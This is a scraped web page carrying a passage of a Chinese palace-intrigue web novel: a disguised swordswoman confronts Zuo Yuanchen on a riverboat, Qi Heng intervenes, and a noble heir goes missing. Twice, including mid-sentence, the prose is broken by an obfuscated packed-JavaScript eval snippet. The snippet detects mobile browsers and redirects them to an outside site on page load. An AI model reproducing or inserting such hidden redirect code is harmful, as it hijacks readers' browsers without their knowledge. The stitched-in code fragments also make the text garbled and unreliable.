;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197596|181181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓着的是他的腰,但她也没打算松开。 只听左元辰继续道,语气温和从容,却字字透着冰冷的锋芒: “阁下若放下刀,我们可以好好谈。若不放,死的只能是你。” 空气倏地死寂一刹。 黑暗中的僵持并未持续太久。 “哟,真热闹啊。” 一个慵懒又带着明显调侃意味的声音,突兀地在走廊上响起。 这个是真的祁珩。 祁珩高颀的身影出现在走廊上,手里举着一盏小灯笼。他身后跟着一队暗卫,其中一人正挟持着月娘。 隔着灯纸,烛火隐隐跳动,模糊勾勒出走廊上的景象:张远卿靠墙一动不动站着,左元辰颈侧横着一柄短刃,千问雪执刃站在他身后,但此刻灯光明灭,隐住了千问雪的眉眼。 祁珩缓缓走近,目光扫过全场,最后落在左元辰身后那道执刃的黑影上,语气里的调侃意味更浓了: “小凌子,你这待客之道越来越别致了。” “还有这位……身手不凡的‘阁下’,要不要先歇歇?” 祁珩的出现,让原本紧绷的杀气为之一滞。 左元辰用指尖轻轻抹过自己颈侧的血痕,借着微光看到指尖上那抹鲜红,唇角反而勾起一抹浅淡的笑,仿佛自己才是那执刃的人。 他似乎是真的一点都不担心自己会死。 千问雪稳住执刃的手,心中念头急转。 祁珩在此,张远卿暂时被封了穴动不了,自己挟持了左元辰,但月娘仍在对方手上。 “左三公子。” 她压低了声音,保持着冷冽的音色。 “我今日前来,不过是想寻左公子算一笔旧账,谈一桩生意。奈何公子待客不义……” “阁下想谈生意,何必用刀?” 左元辰微笑,语气温和得仿佛在邀请友人品茗,“元辰一向好说话。只是……” 他目光似有若无地扫过正被挟持的月娘,“阁下带来的一位女伴,毁物伤人,灭了我这儿的灯烛,惊了在下的朋友,这又该如何算?” 千问雪冷声道: “左公子若一早尽好地主之谊,亲善待客,又何至于此?我的人若有损伤,左公子也休想如愿。” “哦?”左元辰挑眉,似笑非笑,“那你可知我所求何愿?” 两人目光在昏暗中交锋,言语间机锋暗藏。 祁珩插嘴道:“好了好了,打也打了,吵也吵了。不如都坐下聊聊?远卿也在这傻站半天了,不给解下穴?还有隔壁那两位……” 此时,隔壁的门终于被拉开,冯观烨和秦月临并肩走出,两人脸上都带着深深的困惑与警惕。 冯观烨见张远卿动弹不得,赶忙解了他的穴。 一条不大的走廊,一时间聚集了半壁江山的人物,场面诡异非常。 千问雪心知今日已难竟全功,身份虽未被当众戳穿,但处境被动。她缓缓收回了短刃,插入鞘中。 “左三公子想如何谈?”她沉声问道。 左元辰笑容温润:“此处太过逼仄。不如,由我做东,请阁下移步‘临江阁’?那里视野开阔,更适合开诚布公。至于这几位贵客……” 他目光转向张、冯、秦三人,“当然也一并请了,阁下不会介意吧?” 冯观烨和秦月临面色微变,张远卿沉吟不语。 祁珩噗嗤一笑:“好啊,那儿的醉蟹可是一绝。” 敌众我寡,左元辰这个笑面虎也着实可怕。千问雪不愿再节外生枝,只想带着月娘尽快离开。 “不必了。” 千问雪果断回绝道。 左元辰倒也不意外。他侧身眼神示意,暗卫立刻放开了对月娘的钳制。 月娘惊慌跑到千问雪身后,警惕地看着众人,下意识地抬手整理了一下微乱的衣领和发丝。 就在月娘抬手的瞬间,跳跃昏暗的灯火下,她那截白皙纤细的脖颈微微露出,其上有一小块形似蝴蝶的暗红胎记,恰好落入了左元辰眼中。 左元辰的笑容凝滞了一瞬,那双深邃的眸子里倏地掠过一丝惊诧,快得仿佛只是灯影摇曳造成的错觉。 他的目光在月娘脸上极其短暂地停留了一刹,又若无其事地重新聚焦于千问雪身上。 千问雪敏锐地捕捉到了左元辰眸中那一瞬间的细微变化,虽不知其缘由,但心下也留了几分疑惑。 7.昔时月 千问雪指尖微紧,将月娘冰凉的手攥入掌心。 稀薄的烛光下,她看不清左元辰的神情,却能感觉到那道目光如薄刃般掠过月娘,带着若有似无的审视。 “阁下倒是格外怜香惜玉。” 左元辰的声音里氤氲着一丝似是而非的笑意,似春风拂寒潭,听不出是调侃还是试探。 千问雪尚未应答,廊道尽头忽然传来一阵急促脚步声,伴随着小厮惊慌失措的叫喊: “不好了!冯六公子不见了!” 脚步声踉跄逼近,一个瘦小身影跌跌撞撞冲入这片黑暗,不偏不倚摔在张远卿面前。 小厮显然在昏暗中认错了人,一把抓住张远卿的衣摆,声音发颤:“大公子,六公子他…他不见了!” 张远卿蹙眉抽回衣角,声音温润却不亲和:“你看清楚了,我并非你要找的人。” 因为外人在场,张远卿没有点出冯观烨的名字。如今他自己的身份已被对方知晓,万不能再暴露冯、秦二人身份了。 小厮一愣,借着微光抬头,费力地瞅了瞅张远卿,顿时惶恐伏地:“小的眼拙,张公子恕罪!实在是急昏了头…” “说清楚,六弟怎么了?” 冯观烨一步上前,抓着小厮的肩膀,声音陡然严肃。 小厮哆哆嗦嗦回道: “六公子先前搂着一位舞姬说要在外面寻点乐子再进内场,可、可这都半个时辰了,哪儿都找不见人!有人说看见他往货舱那边去了,可那边也空无一人…” 冯观烨气息陡然凝重:“舞姬?哪个舞姬?” “不…不认得,六公子带她来过三回,每次都蒙着面纱,但身段极好…” 小厮惶恐地咽了口唾沫,声音越说越小。“六公子很是喜欢,还说要为她赎身……” 千问雪感到月娘的手猛地一颤,冰凉指尖几乎掐入她掌心。她不动声色地握紧了些,心中飞速盘算。冯观林此刻应当还在那个偏僻角落里昏睡,若是被发现… “废物!”冯观烨怒斥一声,显然是真急了,“一个活生生的人还能在船上丢了不成?立刻派人搜!每个角落都不许放过!” “且慢。”左元辰的声音忽然插入,依旧从容不迫,“观烨兄稍安勿躁。泊夜墟虽是我左家地盘,但今夜来的都是贵客,大肆搜查恐扰了众人雅兴。” 冯观烨语气急躁:“那我弟弟怎么办?他再不成器也是冯家嫡子!若有什么闪失…” “自然要找。”左元辰语调平稳,“不过不妨先让护卫暗中查探。这船虽大,但出口有限,六公子想必还在船上。” 千问雪心下一沉。左家护卫若暗中搜查,很快便会发现被打晕藏匿的冯观林。届时顺藤摸瓜,难免不会怀疑到“祁珩”和月娘头上。她指尖无意识摩挲着月娘的手背,脑中飞快权衡着各种脱身之计,却又一一否定。 左元辰心思缜密,祁珩在一旁出谋划策,三大世家继承人皆在此处,她孤身一人还要护着月娘,胜算渺茫。 正当她心念瞬转之际,左元辰的声音再度响起,却话锋一转: “不过,这位姑娘……”他话音看向千问雪身后的月娘,千问雪能感觉到他的目光落在月娘身上。 “方才似乎损坏了不少灯烛。按泊夜墟的规矩,总得有个说法。” 千问雪心中一凛,握紧月娘的手:“区区灯烛,在下赔得起。” 左元辰轻笑一声,声音在黑暗中格外清晰: “阁下误会了。左某并非计较这些许财物,只是泊夜墟有泊夜墟的规矩。不如这样——让这位姑娘暂留片刻,待灯烛清点完毕,左某自会派人送她回去。阁下既然与祁珩相识,总该信得过左某吧?” 千问雪蹙眉。左元辰此举用意不明,但她绝不可能将月娘单独留下。 就在这时,祁珩忽然又笑出声: “玹凌啊玹凌,我说你怎么突然计较起几盏破灯来了?莫不是瞧上人家带的姑娘了?” 他语调戏谑,却巧妙地将左元辰的要求扭成了风月场上的玩笑。 “可惜啊可惜,这位姑娘显然心有所属,你就别夺人所爱了。” 千问雪瞬间明了——祁珩是在暗示她,左元辰并非要对月娘不利,而是另有所图。她想起方才左元辰看月娘时的异常神情,心下疑虑更深。 冯观烨却已经不耐烦到了极点:“左元辰!都什么时候了还计较灯烛?我弟弟失踪了!” 一旁的秦月临忽然轻咳一声。 冯观烨顿时噤声,意识到自己险些在黑暗中暴露了身份和谈话内容。 虽然冯观烨身份未露,但一旁的千问雪,已经见缝插针地记下了他的声音。 左元辰仿佛没听见冯观烨的失态,依旧对着千问雪的方向,语气温和却不容拒绝:“如何?左某以名誉担保,绝不会为难这位姑娘。” 千问雪陷入两难。 拒绝左元辰,可能立刻引发冲突;答应他,又不知他究竟意欲何为。她感觉到月娘轻轻回握她的手,指尖微颤却像带着某种坚固定决心。 片刻沉默后,千问雪深吸一口气:“既然左三公子以名誉作保,在下若再推拒,倒显得小气了。”她转向月娘的方向,在黑暗中精准地找到她的手,以指尖在她掌心飞快地划下两个字:安心。 月娘指尖轻颤,微微颔首。 “既然如此,左某便多谢阁下信任了。” 左元辰语气如常。 “祁珩,劳你送客。” 祁珩一挑眉,干脆地应了一声,走到千问雪身边: “阁下,请吧。” 千问雪最后握了握月娘的手,转身随祁珩离去。黑暗中,她凭借卓越的听觉和记忆,精准地避开了所有障碍,步伐沉稳不见丝毫迟疑。 就在她即将转入另一条廊道时,左元辰的声音忽然从身后传来: “夜色深沉,江上风急,阁下回去的路上,不妨想想——蝶恋花时,花可曾问过蝶从何来?” 千问雪脚步微顿,没有回头,心中却掀起惊涛骇浪。左元辰这番话显然意有所指,是指向她,还是月娘? 她感觉到祁珩在她身旁毫不掩饰地笑了一下,似乎觉得这话很有趣。 “左三公子的话当真是玄妙,我记住了。” 千问雪淡淡回应,不再停留,随着祁珩转入廊道。 直到他们的脚步声远去,左元辰才吩咐道: “来人,更换灯烛。” 不多时,仆从鱼贯而入,熟练地更换廊道两侧的灯烛。 柔亮的光芒次第亮起,驱散了浓稠的黑暗,也照亮了一直隐在暗处的几个人。 冯观烨面色焦急,眉头拧作一团。 秦月临一袭青衫,姿态闲雅却目光锐利。 张远卿静立一旁,神情和煦。 而左元辰站在中央,唇角噙着一丝似是而非的笑意,颈侧那道血痕在灯光下格外醒目。 而被左元辰特意留下的月娘,此刻终于完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206110|181181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴露在光亮下——她穿着一身颇为露骨的水红色纱裙,薄纱遮面,只露出的一双勾人的美目。 她颈间那一小片暗红色胎记,形似展翅蝴蝶,此刻恰好被衣领遮挡住。 冯观烨和秦月临显然都注意到了月娘的特别,交换了一个眼神,但碍于左元辰在场,便没有多问。 “观烨你不必忧心,我这就加派人手寻找令弟。” 左元辰语气是一贯的从容。 “远卿,月临,不如我们先到内室稍坐?” 冯观烨虽然心急如焚,但也知道此时冲动无益,只得点头。 一行人移步内室,左元辰吩咐护卫妥善安置月娘,不得怠慢。 内室门甫一关上,冯观烨就迫不及待道: “元辰,搜船的事…” “放心,已经安排下去了。” 左元辰示意他稍安勿躁。 他话锋一转,看向张远卿。 “远卿似乎有话要说?” 张远卿一路沉默,此刻才抬眼看向左元辰,眼神炯炯,认真里却有一丝犹疑: “方才那人,能模仿祁珩的声音。” 左元辰执壶斟茶的手未有丝毫停顿: “嗯,这我知道。” “且模仿得惟妙惟肖,连语气停顿都一般无二。” 张远卿继续道,目光晦暗不清。 “这样的人,整个江左也找不出几个。玹凌你早就知道是谁了吧?” 冯观烨和秦月临都露出讶异神色,显然方才在黑暗中并未察觉此事。 左元辰将斟好的茶推至张远卿面前,微微一笑: “远卿果然心细如发。” “既然如此,为何放他走?” 张远卿接过茶盏,却不饮用。 左元辰垂眸看着杯中茶烟袅袅升起。他抬眸,眼中闪过一丝难以捉摸的光亮。 “远卿觉得,若是当场戳穿,我们能留下他吗?” 张远卿沉默片刻,摇摇头: “他既敢独闯泊夜墟,想必是有后手。” “哦?这倒不一定。” “他是聪明人,知道我扣下那女子的用意。与其强行留人,不如卖他个人情。” “人情?”冯观烨蹙起眉。 “他算什么?为何要卖他人情?” 左元辰与张远卿交换了一个眼神,微微一笑: “一个有趣的对手。或许将来,会成为朋友也说不定。” 秦月临若有所思: “所以你才说那句‘蝶恋花’?是在试探他?” 左元辰笑而不语,举杯轻啜。 冯观烨还想再问,却被张远卿用眼神制止。 室内陷入短暂的静默,只闻茶香袅袅。 良久,张远卿才缓缓开口: “元辰,我有一事不解。” 左元辰抬眼:“但说无妨。” “你扣下那女子,当真只是为了灯烛之事?”张远卿目光如炬。 “还是说…你发现了什么?” 左元辰放下茶盏,唇角的笑意渐渐淡去。他望向窗外漆黑的江面,远处几点渔火明灭。 “我只是觉得……”他声音低沉下来。 “那女子或许比我们想象的都要重要。无论是对他,还是对我们。” 话音落下,内室中一片寂静,唯有烛火噼啪作响,映照着每个人眼中明暗不定的思绪。 江风穿过廊道,呜咽如诉。